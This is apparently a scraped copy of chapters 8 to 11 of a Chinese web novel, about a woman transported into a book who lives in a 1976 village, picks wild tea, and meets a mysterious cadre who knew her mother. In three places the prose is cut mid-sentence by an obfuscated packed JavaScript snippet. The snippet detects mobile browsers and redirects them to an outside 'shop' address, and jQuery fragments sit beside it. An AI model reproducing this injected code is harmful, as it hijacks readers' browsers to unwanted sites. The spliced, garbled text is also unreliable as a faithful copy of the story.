“我不认识,好几个人呢。”燕素梅盯着他的脸,摇了摇头,“哦对,好像有个叫翠翠姐的,还有个良子奶奶。” “良子奶奶?” 说完,苏文青便沉默了。 他站在那儿一动不动,像是在想什么。 而燕素梅在他的脸上,没找到一丝一毫的震惊。 就好像,苏文青一早就知道这件事。 暮色越来越浓,远处传来狗叫声。 苏文青终于动了,他抬起头,看着燕素梅。 “小梅。这件事你别管,我会处理。” 燕素梅眯起眼睛。 果然,苏文青知道这件事。 并且,苏文青似乎又变成与昨晚上她遇到的苏文青了,或者说更贴合原书中的苏文青。 “为什么?”燕素梅问。 “不为什么。”他说,“你就该吃吃,该喝喝。其他的,有我。” 8. 第八章 燕素梅在大队部糊纸盒糊了小半个月,每天天不亮就跟着苏文青出门,天擦黑才回来。不过碍于原身人设,她干活也是带干带不干的。再加上屋内其他人在糊纸盒时嘴上也不停,特别是那个短发大妈,总爱绘声绘色地讲些家长里短,让燕素梅有种上班摸鱼看电视剧的错觉。 所以除了要早起这一点,她对这份活计倒还算满意。 这天,燕素梅发现门口贴着的公示表更新了,她停下来看了一眼。 干的最多得依旧是张翠翠,一个月八块,而她自己排在倒数第三,一个月三块二。 燕素梅站在那张纸面前,沉默了很久。 三块二。 一个月三块二,一年下来还不到四十块。三年也就一百来块,不够一场大病的医药费。 她越想越泄气,回家的路上步子都沉重了几分。 一同回家的苏文青见她耷拉着脑袋,好奇地问:“咋了这是?有人欺负你了?” 燕素梅摇了摇头,忍不住叹了口气。 “文青,你说我糊一个月纸盒才三块二,这得攒到啥时候去啊?” 苏文青愣了一下,随即笑了,“咋了?嫌少啊?” “不是嫌少。”燕素梅有气无力地说,“只是觉得太慢了。” 她没说出口的是,三年时间,说长不长,说短不短。但照这个速度攒下去,到时候真病了,怕是连个零头都不够。 “什么太慢了?”苏文青歪着头问。 燕素梅摇了摇头,闷着头继续往前走。 她沉浸在自己的思绪里,没注意到苏文青突然放慢了脚步,落在她身上的眼神里多了几分探究。 燕素梅就这么垂头丧气地进了家门。老太太看到她这副模样,心疼得不行。 老太太在围裙上擦了擦手,走到燕素梅身旁,伸手摸了摸她的头。 “咋了这是,跟文青出去耍腻了?”老太太想了想,又说,“等过两天天气好了些,奶奶带你采茶去。” “采茶?”燕素梅立马抬起头。 “嗯。”老太太点了点头,“山上有片野茶丛,这个时候正好出芽,带你去玩玩。” 燕素梅心里飞快盘算起来。 说起来她老家也是个茶乡,每年新茶出芽的时候,村里人都忙着采茶。甚至有些是在县城工厂里打工的,都会特地请一周半个月的假回来。因为明前茶贵如金,越早的茶越值钱。现在是三月底,按理说春茶还没到采摘的时候,山上的野茶倒是先冒芽了。虽说不知道现在有没有“野生金贵”的说法,但物以稀为贵,这时候采下来应该也能卖个好价钱。 “去!”燕素梅一口答应,“奶奶,我跟你去。” 老太太被她这精神头逗笑了,“行行行,那说好了,等天晴就去。这两天你先歇着,养足精神,这山路可不是那么好走的。” 燕素梅用力点头,忽然觉得浑身又有劲了。 两天后,天刚擦亮,燕素梅就被老太太从被窝里拽了出来。 “小梅,起床啦,咱们赶早去,多采点茶。” 燕素梅迷迷糊糊地穿上衣服,跟着老太太出了门。 老太太背着个竹篓,手里还拎着镰刀,边走边叮嘱,“这山路不好走,小梅你跟紧我,别乱跑。” 燕素梅一手揉着眼睛,一手拎着小篮子,乖巧地应了一声。 此刻天边刚泛起鱼肚白,路上一个人都没有。 山上有条小路,但很窄,草叶上的露水不一会儿就打湿了裤脚。再往里走,山路越走越窄,越走越陡,到后面都需要老太太用镰刀在前面开路。 燕素梅刚开始还挺兴奋的,可走了没一会就开始喘气。 “奶奶,还有多远啊?”言语里,是她都没察觉到的撒娇语气。 “快了快了,翻过这个山头就到了。” 可这句“快了”,让她又走了二十分钟。 等终于走到那片野茶地,她已经累得腿肚子打颤。可一看到那片绿油油的茶树,她立刻来了精神。 许是没人打理的缘故,山坡上的茶树长得杂乱,零零散散的。走近了看,确实冒了不少嫩芽,嫩绿嫩绿的,上面还挂着露珠,一副生机勃勃的模样。 老太太放下竹篓,手把手教燕素梅采茶,“你看,采茶要采这个嫩芽,用指甲往根这儿一掐。你瞧,这不就下来了。” 燕素梅穿书前就跟自家奶奶上山采过茶,而且这活也没什么技术含量,很快就能上手。可她考虑到原主的人设,还是认真地跟着老太太学了好一会儿,才装作刚学会的模样,独自采起来。 她们两个人弯着腰在茶树间穿梭,老太太虽然年纪大,可手指飞快,嫩芽一片片落进筐里。 晨风从山间吹了过来,带着些许凉意。燕素梅采着采着,渐渐入了迷。 这活虽然站着有些累人,但比糊纸盒有意思多了。 毕竟这儿山清水秀的,让人心旷神怡。 她越采越顺手,越采越上头,不知不觉就顺着茶树往山坡另一边去了。 等她再次抬起头的时候,周围静悄悄的,老太太不知道什么时候不见了踪影。 燕素梅心里咯噔一下,连忙直起身四处张望。 四面都是竹子,山风一吹,竹叶哗啦啦地响。因为是座野山,压根没什么路,四周都被杂草遮得严严实实,分不清究竟该往哪里走。 “奶奶?”她试探着喊了一声。 没人应。 “奶奶!”她又喊了一声,声音大了些。 回应她的,只有风穿过竹叶的声音和远处的鸟鸣。 燕素梅攥紧了手中的筐,心跳开始加速。 她深吸一口气,心里安慰自己。 别慌,问题不大。老太太应该就在附近,说不定只是拐到山那边去了。 她定了定神,随机选了一个方向开始走。 大概走了十来分钟,她就觉得不对劲了。 她停下脚步,发现四周不知什么时候从原先的竹林变成了树林。可她记得来的时候,似乎四周只有竹子。 燕素梅正犹豫着要不要换个方向时,灌木丛后面突然传来的声响。 她屏住呼吸,内心却敲起小鼓。 脑海里突然想起穿书前回乡下,奶奶常对她的叮嘱,“家后面的野山别一个人乱跑,里面多的是蛇鼠虫蚁,要是把你咬了可就麻烦了。” 就在燕素梅沉思之际,灌木丛被拨开了,一个人影从里面钻了出来。 是个男子。 三十来岁的样子,中等个头,穿着件军绿色外套,背着一个黑色帆布包。裤腿卷到小腿,鞋上沾满了泥,像是走了很远的路。 燕素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376990|200122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梅心里松了一口气,但还是下意识往后退了一步。 那男子显然也没料到会在这儿遇到人,也愣了一下。他上下打量着燕素梅,目光落在她手里的竹筐以及身上的装扮,表情稍稍缓和了一些。 “小姑娘,你是这村里的人吗?”他问,声音有点哑,语气放软,带着几分唠家常的味道。 燕素梅点了点头,没说话。 那男子又问:“你是一个人上山的?” 燕素梅摇了摇头,往身后指了指,“跟我奶奶一起来的。” 那男子“哦”了一声,目光却在她脸上多停留了几秒。 燕素梅被他盯得心里有些害怕,正想找个借口离开,那男子突然开了口。 “小姑娘,你姓什么呀?” 燕素梅下意识说:“燕。” 那男子的眼神突然变了。 他盯着燕素梅的脸看了好一会,表情有些复杂,像是在确认什么。 就在燕素梅以为那人不会再说话时,那男子突然轻声问了一句:“小姑娘,李瑛是你什么人?” 燕素梅的心漏跳了一拍。 李瑛。 又是这个名字。 可这个人的口音,明显不像本村人,又怎么会认识李瑛? 她抬起头,仔细打量着面前这个男子。 这男子风尘仆仆,眼底带着乌青,似乎很久没睡好。背上的旧帆布包,身上穿的衣服也有些旧了,除此之外看不出来什么异常之处。 等等。 她感觉眼前有什么东西闪了一下。 好像是从这男子外套里面发出的。 她定睛一看,是枚党徽,别在里面的衣服上,外套一遮,不仔细看根本发现不了。但此刻阳光正好从树叶缝隙里斜斜照进来,落在那小小的徽章上,红得发亮。 燕素梅脑子转得飞快。 认识李瑛,但又是外地口音。虽然背着个旧帆布包,可领口却别着党徽。 这人,究竟是谁? “你是李瑛的闺女吧?” 那男子又问,语气比刚才更确定了。 燕素梅张了张嘴,正想该怎么回答,身后突然传来老太太的声音。 “小梅,小梅诶,你在哪?” 她连忙回头喊:“奶奶,我在这儿。” 等她再转回来的时候,那男子已经往林子深处走了。 “哎!”燕素梅喊了一声。 那男子脚步顿了一下,回过头冲她笑了笑。 “回去吧,你奶奶找你了。”他说,声音很轻,“对了,别跟她说见过我。” 说完他转身钻进林子,很快就消失在树影里。 “小梅!”老太太从另一侧树丛后面钻了出来,看见燕素梅好好地站在那儿,长出了一口气,“你这丫头,跑哪儿去了?你知不知道刚刚吓死奶奶了!” “奶奶,我刚刚一抬头就发现你不见了,想着去找你……” 燕素梅语气中带着些许哭腔,让原本又急又气的老太太一时间竟有些心疼起来。 “哎呦你这丫头,下次没看到奶奶就在原地等着,奶奶肯定会回来找你的。” 燕素梅乖乖跟着老太太往回走。走了几步,又忍不住回头看了一眼。 四周静悄悄的,仿佛刚刚出现的男子只是燕素梅的臆想。 9. 第九章 燕素梅坐在堂屋里,脑子里都是白天在山上遇见的那个奇怪男子。 那男子明明不是本地人,却认识李瑛,还一眼就认出她是李瑛的女儿。可他偏偏又让她别把这件事告诉奶奶。 这个人,究竟是谁? 燕素梅正想着,苏文青从外面回来了。 苏文青今天似乎分到的是下田插秧的活,裤腿上还沾着泥巴,一进门就看到燕素梅坐在那儿发呆。 “想、想啥呢?”苏文青问,声音里带着惯常的磕巴。 “没啥。”燕素梅回过神来,摇了摇头,“对了文青,咱们村村口那座山平时有人去吗?” 苏文青愣了一下,“哪、哪座?” “就今天奶奶带我去采茶的那里。”燕素梅皱着眉,努力描述,“我就记得一开始是一片竹海,翻过竹海就是一片树林。” 说完,燕素梅就心虚了。村子四周的山,不都是这样吗? 可苏文青还是认真地想了想,“是不是村口出去走一截,拐到一条小路上?那边去的人少,路不好走,又偏。也就清明前后有人去挂坟,这会儿去多半是采野茶。” “挂坟?”燕素梅心里一动。 “对啊。你们这讲究依山傍水,坟又不能挨得太近,有的就安到那边去了。” 燕素梅若有所思地“哦”了一声。 这么说,那个神秘男子可能是来挂坟的?那认识李瑛倒也说得通了。 可是,他为什么不让她告诉奶奶呢? 一时间,她的小脸皱了起来。 苏文青看她这副模样,好奇地问:“咋、咋啦?你在山上遇到啥啦?” 燕素梅犹豫了一下,摇了摇头:“没啥。” 晚上,燕素梅躺在床上翻来覆去地睡不着。 她想起白天的事,总觉得这个人应该不是傍晚想的那样,只是去挂坟的。 第二天一早,燕素梅就缠着老太太,嚷嚷着还要去采茶。 老太太有些意外,“还去,昨天不是采了不少吗?” “奶奶,昨天采的那些才卖几个钱呀?”燕素梅撒娇道,“再采几天嘛,正好出去溜达溜达。” 老太太皱着眉,转过头看着燕素梅问道:“我之前怎么没发现你是个小财迷?说吧,要攒钱干什么。” 燕素梅愣了一下。 对哦,按照原主人设,不应该这么痴迷于攒钱。毕竟老太太身子硬朗,苏文青对她也挺好,她有什么理由非要攒钱? 但是她也不能直接说,因为她知道自己即将要生一场大病,需要很多很多钱吧。 燕素梅眼珠子一转,突然想到一个合理的解释。 “嘿嘿,我想买好多好多吃的。” “你呀。”老太太被她缠得没办法,只好答应,“行行行,吃完饭就去。” 苏文青在一旁听着没说话,只是抬眸看了燕素梅一眼。 一连几天,燕素梅都跟着老太太上山采茶。 山上的野茶不多,零零散散地长着。老太太带着她满山坡地跑,这儿采一些,那儿掐一些。 可尽管如此,一天下来也采不了多少茶叶。 许是心疼燕素梅,每次从大队换来的钱,老太太都全交给她,还嘱咐她一定要自己保管好,藏的地方谁都别告诉,哪怕是苏文青。 燕素梅乖巧地点头,“知道了奶奶。” 可她心里惦记的不只是攒钱的事,还有另一件事。 第一次采茶时遇到的那个神秘男子究竟有什么目的。 每次上山采茶,燕素梅都会下意识往那天遇到他的地方走。 她也不知道自己为什么要去,只是觉得那个人身上有她想知道的答案。 第一天,没遇到。 第二天,还是没遇到。 第三天,她看着空荡荡的树林,正寻思要不要算了,身后突然传来一个声音。 “你是来找我的吗?” 燕素梅一惊,扭过头循声望去。只见那个奇怪男子就站在几步开外,还是初遇时那身打扮。 “什、什么叫我找你,我、我只是来采茶的。”燕素梅有些紧张地说。 那男子笑了笑,找了块石头坐下。 “这几天我都在这儿看到你了,你就是在找我的吧?” 虽是反问,语气里却带着不容置疑的肯定。 燕素梅被说中了心思,脸有些红,但还是点了点头。 “你找我想干啥?”那男子问。 燕素梅想了想,走到那男子身旁,鼓起勇气说:“你是不是认识李瑛?” “怎么不认识?都认识很多年了。”那男子语气里带着怀念。 “那她是什么样的人?”燕素梅好奇地问。 见那男子投来奇怪的目光,她又垂下眸解释道:“听大队的人说,那个人是我的妈妈。可、可我不记得她了。” 燕素梅这句话倒也没说错,按照原著的描写,原主是个痴儿,再加父母离世时原主还是个小奶娃,记不起来也很正常。 那男子似乎也想起这茬事,伸手摸了摸燕素梅的头,略带怀念地说:“你的妈妈是我们不可或缺的好同志。” 燕素梅愣住了。 在她的认知里,这个年代,“同志”这个词是带着敬意的。 “你妈妈是个极其能干的女人,做事雷厉风行,不仅在村里威望很高,连周边村子、镇上,甚至县里都有人听说过她。你父亲也是个老实肯干的人,两口子感情很好,日子过得红红火火的。哦对,你家那个砖瓦房就是她们两一点一点盖起来的。当年要不是……” 那男子没察觉燕素梅的异常,自顾自地说着,话说一半却突然停住了。 燕素梅等了半天,不见他往下说,忍不住问:“要不是什么?” 男子摇摇头,站起身,“没什么,有些事跟你说你也听不懂。” 燕素梅刚想张口反驳,突然想起在他们眼中,自己只是个痴儿,因而转了个话题。 “那我应该喊你什么?” 男子想了想,说:“你叫我宇正叔吧。” 宇正叔。 这个名字,她没在小说里见过。 燕素梅垂下眼眸。 接下来的几天,燕素梅每天都会偷偷溜到后面去找宇正叔,试图从他嘴里多听到一些信息。 宇正叔虽然别着党徽,但似乎很闲。 燕素梅每每到那片树林,都会看到宇正叔早就坐在那里等她了。 这天她又偷偷溜去找宇正叔,两个人面对面坐在石头上。宇正叔正跟她说着李瑛当年在队里搞生产的事,两个人都没有注意到身后突然出现了一个人。 “小梅!” 突如其来的一声喊,把两个人都吓了一跳。 燕素梅回过头,就看到老太太站在几步开外,手里还拎着采茶的筐,脸色铁青。 “奶奶……”燕素梅下意识站起来。 老太太没理她,目光直直落在宇正叔身上,眼神里是罕见的愤怒。 “你……你怎么在这儿!”老太太的声音都在发抖,“你们又准备对小梅说什么!” 宇正叔站起身,表情有些尴尬:“大娘,我……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376991|200122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你什么你?”老太太几步冲过来,把燕素梅拉到身后,对着宇正叔就是一顿数落,“也不知道是什么风把你给吹过来了?你个当干部的,不好好为人民服务,又想跟小梅说什么?还是说又想让小梅给你们做……” 她话说一半,突然红了眼眶,声音也哽住了。 宇正叔就这么直直地站在原地,一句话也不解释。 燕素梅从来没见过老太太这么激动,一时不知道该怎么办。 过了好一会,宇正叔才喃喃开口,“大娘,对不起。只是当初的事有很多身不由己……” “你别跟我解释。”老太太抹了一把眼泪,“你要是真觉得对不起,就把该办的事办了,别玷污了你胸前的徽章。” 宇正叔张了张嘴,想说些什么,但最后也只是点了点头,“我知道了。” 说完,他转身就往林子深处走了。 老太太站在原地,看着他消失的方向,半天没动。 燕素梅小心翼翼地拉了拉老太太的袖子:“奶奶……” 老太太回过神来,用力攥住了燕素梅的手,声音有些哑,“小梅,你听奶奶说,以后别跟那个人来往了。” “为什么?”燕素梅有些不解。 “没有为什么。”老太太的语气不容商量,“他不是什么好人。” 燕素梅心里不信,毕竟这几天的相处,她觉得宇正叔不像个坏人。而且听刚才的对话,似乎两个人之间有什么误会。但老太太此时正在气头上,她也不敢多问,只好乖乖点头。 夜间,燕素梅躺在床上翻来覆去地睡不着。 她犹豫了一下,起身去了苏文青的屋子。 刚一推开门,就看见苏文青正伏在桌上写着什么。 听到开门声,他竟有些慌张,下意识用身旁的书本遮住了纸张。 苏文青抬头发现是燕素梅,方才绷直的身体稍稍放松下来,“怎、怎么了?” 燕素梅有些好奇地望向那个纸张,可惜被书本挡得严严实实,只能隐约看见“找王宇”三个字。 奇怪,宇正叔这个名字她没在小说里见过,“王宇”也没见过。 是因为不重要,所以被作者一笔带过了吗? “小梅,这么晚过来是有什么事吗?”苏文青见燕素梅没说话,又问了一句。 这一声把燕素梅的思绪拉了回来。 她犹豫了一下,把这几天的遭遇简单跟他说了。 苏文青原本垂着眼眸安安静静地听着,可当他在听到“宇正叔”三个字时,整个人突然僵住了。 他猛地抬头,一把攥住燕素梅的手腕,力气大得吓人。 “你说啥?”此刻的苏文青眼神像变了个人,“宇正叔?你遇到他了?在哪儿遇到的?” 燕素梅被他这反应吓了一跳,“就、就在村口那个山上啊。” 苏文青脸色变了又变,嘴里喃喃道,“不应该是在这个时候啊。” “文青,你弄疼我了。”燕素梅略带撒娇的语气说着。 苏文青这才反应过来,松开手,但眼神还是紧盯着她,“小梅,你告诉我,他都跟你说什么了?” 燕素梅揉着手腕,把这几天的对话简单说了一下。 苏文青听完,沉默了很长时间。 “文青,你也认识这个人吗?”燕素梅试探着问。 苏文青没有回答,只是站起身,在屋子里来回走了几步,像是在想什么。 “小梅,你下次再遇到这个人,一定要跟我说。” 燕素梅有些不解,但还是顺从的点了点头。 10. 第十章 这天晚上,月亮悄悄躲进云朵里,只剩下漫天繁星。 屋内,燕素梅坐在小板凳上,把口袋里的钱全掏了出来,一张一张、一枚一枚地铺在桌上。毛票皱皱巴巴的,有的还沾着浆糊印子。 她认认真真地数了一遍又一遍。满打满算,统共不到十块钱。 盯着那堆钱看了半天,她叹了一口气。 前半个月跟着苏文青去大队糊纸盒,糊到手指头都是黏黏糊糊的;后半个月又跟老太太上山采茶,采到腰都直不起来。 天天起早贪黑地忙乎,结果才挣了这么点钱。 这得攒到猴年马月去? 燕素梅愁眉苦脸地想着。 苏文青从外面回来,从窗户外就看到她这副模样,愣了一下,隔着窗户问:“咋了这是?” “文青。”燕素梅抬起头,“我跟奶奶采的那些茶叶,为啥卖不上价?” 明明穿书前,她跟奶奶采的明前茶,一斤都能卖百来块,哪怕后续茶叶偏大了,一斤也能要个好几十呢。 苏文青想了想,说:“野茶嘛,没人管没人问的,长得乱七八糟,芽也不齐,自然也卖不上好价钱。” “那要是好好打理呢?”燕素梅双手托腮,一脸好奇地问。 “打理?”苏文青看了她一眼,“好好打理应该是可以的,可那得费多少工夫?除草、松土、施肥、剪枝,一年到头不得闲。再说了,那山是公家的,就算你打理了,那茶也不是你一个人的。” 燕素梅沉默了。 她知道苏文青说的对。在这个年代,山是集体的,地是集体的,茶树自然也是集体的。她就算把那片野茶地打理得再好,茶叶也是公家的,谁都可以去采。 可她不甘心。 燕素梅突然想起,穿书前去乡下采茶,奶奶说过村里的茶园是大队统一规划管理的,按一定比例划分到每户人家头上。虽说现在现在茶树是集体的不会分到个人头上,那应该还是大队统一管理才对。 “咱们大队就没有茶园吗?”她问。 “有是有。”苏文青点了点头,“不过那都是集体的活,记工分的。你去采,挣的是工分,茶叶是大队的。等茶叶卖了,扣除日常种植花销后,年底统一分红。可这样的话,分到你手上就没几个钱了。而且你去采茶了,就不能去糊纸盒了。” 燕素梅在心里算了笔账。她现在糊纸盒,一个月三块多。要是去茶园采茶,挣工分,年底分红。虽然不知道这个年底分红有多少,但是听苏文青这么说,估计也没多少钱。 想到这,燕素梅有些泄气地垂下眼眸。 苏文青见到她有些失落,状似无意地说:“要是现在能有个政策,把集体的地承包到每家每户,自己种出来的东西交够集体需求的,剩下都归自己,那就好了。” 燕素梅闻言,心里一动,这不就是以前她上课时学到的承包制嘛。 可现在才1976年,高考都还没恢复呢,更别提承包制了。 说起来,这个承包制是什么时候开始的? 好像是1980年左右吧,距离现在还有4年多,她是等不到那时候了。 燕素梅方才被苏文青说动的心,此刻又沉了下去。 “不过你要是偷偷管的话,应该也可以。”苏文青试探着说。 燕素梅愣了一下,“偷偷管?” “就村口那座山上的野茶地。反正现在也没人管,我们去打理打理,又不碍着谁。等明年春天出茶了,你偷偷采,偷偷卖。就算被人发现了,你一个傻子,还能把你咋样?更何况我也听过风声,有的村正准备实行我刚刚说的这个想法。” 燕素梅看着他,没说话。 苏文青被她看得有点心虚:“怎么了?你觉得不行吗?” “我一个傻子,能有什么想法。”燕素梅摇了摇头,“我全听你的。” 不知道是不是她的错觉,她总觉得方才苏文青的话里带着些许试探,就是不知道在试探什么。 但按照原书设定,苏文青应该不会故意坑害原主。而且就像他说的那样,以原主的傻子人设,说出去别人也只会觉得是她自己乱搞的,或者是苏文青怂恿的。 毕竟一个傻子,哪里想得出这些东西。 第二天开始,燕素梅调整了作息。 早上天不亮就跟着老太太去大队的茶园采茶。大队的茶园在村子另一座山的山坡上,一排排整整齐齐,跟老太太之前带她去采的野茶完全不一样。而且因为是种在一起,燕素梅也不用东跑西跑。一上午下来,也能采个小半筐。 老太太有些心疼地问:“累不累?” “不累不累。”燕素梅嘴上应着,手上的活也没停。 下午,她就借口累了要回家歇着。 老太太也没多想,只是心疼地说:“累了就歇着,别硬撑,家里还有奶奶呢。” 燕素梅嘴上应着,脚下一刻不停。 她背着筐没回家,而是拐上出村那条小路,偷偷上了山。 那片野茶地她已经打理了几天。杂草拔了大半,枯枝也剪了不少。但茶树长得太乱了,有的挤在一起,有的歪歪斜斜,得重新整。 她撸起袖子,蹲在茶树跟前,一根一根地剪。这活不累,但费眼睛,盯久了眼睛就有些花。 苏文青隔三差五会来陪她。有时候是下午没安排活的时候,有时候是傍晚下工后。他话不多,来了就闷头干活。除草、松土、搬石头,什么都干。燕素梅看着他满头大汗的样子,心里有点过意不去。 “你歇会吧。” “不、不累。”苏文青抹了把汗,又弯下腰。 燕素梅看着他,忽然觉得这人其实挺好的。是真的好,不是那种只嘴上说说,做做样子。而且不管她有什么想法,苏文青都会支持她,并给她出谋划策。比如说上次提议偷偷打理野茶。 等等,那天晚上,是不是苏文青说话也不像往常磕磕巴巴? 燕素梅想了一会,发现自己记不起来了,索性不想了。 她蹲下身,跟着苏文青一起干活。 “文青。”燕素梅突然开口。 “咋、咋了?” “你为啥对我这么好?” 苏文青手上的动作顿了一下,没有说话,但他的耳朵却在以肉眼可见的速度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376992|200122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红了。 过了好一会儿,他才小声说:“因、因为你是我的媳、媳妇。” 燕素梅感觉此刻阳光正从树叶缝隙里洒下来,落在她身上,暖洋洋的。 看来这人,是真的把原主当成自己的媳妇来疼。 这天下午,苏文青休息,陪着燕素梅偷偷上山。两个人正蹲在茶地里除草,身后突然传来窸窸窣窣的声响。 燕素梅回过头,发现宇正叔站在几步开外,还是那身军绿色外套,背着旧帆布包。他看起来比上次更疲惫了些,眼底乌青又深了一层。 苏文青也抬起头,可只是看了那人一眼,又低下头继续干活,像是没看见似的。 燕素梅愣了一下。 她以为苏文青会像上次那样激动,可他只是淡淡扫了一眼,就收回目光。 燕素梅虽然心里疑惑,但还是起身打了招呼,“宇正叔?你怎么来了?” 宇正叔走过来,目光在苏文青身上停留了几秒,才转向她:“来看看你,你这是……?” “害,闲来无事,过来打理打理,看明年可能多采到点茶叶。”燕素梅挠了挠自己的后脑勺,小声解释道。 宇正叔仔细看了看那片被打理的茶地,点了点头,“这片茶地打理得不错。” 燕素梅有些不好意思地说:“还早着呢。” 宇正叔笑了笑,在旁边的石头上坐下。 苏文青依旧低着头,手里的活没停。 燕素梅看看他,又看看宇正叔,总觉得气氛有点怪。 明明上次在家里,苏文青听到“宇正叔”三个字时,反应大得吓人。可现在真人就在眼前,他反倒跟没事人一样。而宇正叔落在苏文青身上的目光,又似乎是有什么事要跟他说。 “文青。”她试探着喊了一声,“这是宇正叔,我之前跟你说过的。” 苏文青这才抬起头,看了宇正叔一眼,点了点头,“嗯。” 就简简单单一个字。 没有激动,没有追问,甚至没有多看一眼。 燕素梅心里犯嘀咕,但当着宇正叔的面不好多问。她走到宇正叔对面坐下,把这段时间打理茶地的事简单说了说。 宇正叔听完,沉默了一会,“你打算把这片茶地管起来?” “嗯。”燕素梅点点头,“反正现在也没人管,我打理打理,明年春天能出点好茶。” 宇正叔看着她,眼神里有些复杂的情绪,过了好一会才开口,“你跟你妈真像。” 燕素梅垂下眼。 每次提到李瑛,她都不知道该怎么接话。 毕竟她不是原主,原书中也没有写到过李瑛,她也不确定原主对李瑛是什么样的感情。 只不过每次听到这个名字,她心里都会涌上一股说不清的情绪,或许这就是原主残留着的对李瑛的感情。 “小梅,”宇正叔突然开口,“你想不想去县城?” 燕素梅有些疑惑地抬起头。 “县里的毛纺厂,我认识人。”宇正叔说,“你要是想去,我可以帮你安排。一个月大概能拿个二三十块钱,还能学学纺织工艺,比在这儿强。” 11. 第十一章 燕素梅犹豫了一下,往苏文青那边看了一眼。 苏文青还蹲在茶地里,锄头一下一下刨着土,像是什么都没听见似的。可燕素梅注意到,他的动作似乎比刚才慢了许多。 宇正叔顺着她的目光看过去,笑了笑,“不着急,你慢慢考虑。我最近是要在村子里待几天的,等你想好了随时来找我。” 燕素梅点了点头。 宇正叔站起身,拍了拍裤子上的土,转身往林子深处走。可刚走了没几步,他忽然又回过头。 “咋、咋啦?”燕素梅正准备起身,见宇正叔回过头,有些茫然地问。 她顺着宇正叔的目光看去,发现是落在苏文青身上,这才想起似乎刚才没有给宇正叔介绍,“这是我丈夫,叫苏文青,是个下乡知青。” 宇正叔点了点头,“是个好名字。” 说完他便转身走了。 燕素梅站在原地,看着他的背影消失在暮色里,总觉得哪里有些奇怪,可又说不上来。 “走、走吧。”苏文青不知道什么时候走到她身边,轻声说,“天快黑、黑了。” 燕素梅回过神来,应了一声,跟着他往山下走。 暮色四合,远处房屋的炊烟升起来,空气里都是柴火味。 两个人一前一后走在山路上,谁也没说话。可他们的影子被夕阳拉得很长,交叠在一起,而后又分开。 周而复始。 走到半路,苏文青忽然开口:“你、你咋不去?” “去哪?”燕素梅脚步一顿,略带疑惑地问。 许是因为背着光,燕素梅看不清苏文青的表情,但能听出苏文青的声音比平时都认真许多。 “县城、城工资高,比、比在这儿强。” “县城是工资高。”燕素梅点了点头,但随即又叹了口气,“可奶奶那边不会同意的。” “有、有我呢,我去跟、跟奶奶说。多好的机、机会啊,错过就可惜、惜了。” 苏文青一脸认真地说,可燕素梅还是摇了摇头。 “你说不通的,毕竟宇正叔就是那天让奶奶十分生气的人。如果奶奶知道我进城的名额是他给的,肯定不会让我去的,那就白瞎了这个名额。” 苏文青闻言猛地抬起头,眼睛瞪得老大,嘴唇微微张着,似乎听到了十分震惊的消息。 “真、真的?”他有些激动又似乎带着点不可置信地语气问道,“那个人就是之前你跟奶奶遇到的那个干部?” “我不知道是不是干部诶,但是我记得老太太似乎骂他时说过‘你个当干部的,不好好为人民服务’……” 燕素梅歪着头,努力回想着当时的情景。 可苏文青似乎没再听进去,喃喃道:“你、你咋不早说啊?” “说了呀,我跟你说了宇正叔就是上次我遇到的人呀。”燕素梅一脸无辜地说,“但是你当时继续除草,我也就不好多说了呀。” 苏文青张了张嘴,想说什么,又咽了回去。 两个人就这么面对面站着,谁也不说话。 春寒料峭,山风吹来,带着些许凉意,燕素梅忍不住打了个寒颤。 “先、先回去吧。”苏文青见状立马脱下外套搭在燕素梅身上,“天黑了,路不好走。” 可走到村口的时候,苏文青又突然停下脚步。 “媳、媳妇儿。”他说,“你、你先回去,得回、回山上。” “回山上?”燕素梅皱着眉,一脸不解。 “嗯,刚、刚刚好像落了个东西。” 燕素梅愣了一下,“落啥了?我陪你去找。” “不、不用。”苏文青摆了摆手,“就、就一个小铲子,不用、用帮忙找。你、你得先回去,不然奶奶该、该起疑心了。” 燕素梅犹豫了一会,点了点头:“那你早点回来。” 等她回到家,老太太果然早就回来了。不仅如此,还已经把饭做好摆在饭桌上了。 主食是几个白白胖胖的包心粑粑,还有一碟泡豇豆。 虽然看着清淡,但是闻着让人食指大动。 “怎么这么晚才回来?”老太太手里端着一小碗蒸鸡蛋,问,“快过来吃饭,我给你登了个鸡蛋。” “我……”燕素梅刚垂下眼眸,突然想到一个理由,“我去找文青玩了!” “跑地里去玩啦?”老太太放下碗,手在围裙上擦了擦,忽而想起什么,扭过头看向燕素梅,“不对,那文青呢?” “文青他落了东西在田里,让我先回来的。” 燕素梅见老太太还想说什么,又立马说道:“哎呀,文青他又不会丢。我快饿死了,先吃饭。” 老太太闻言也没多说什么,只是将桌子上的勺子递给她。 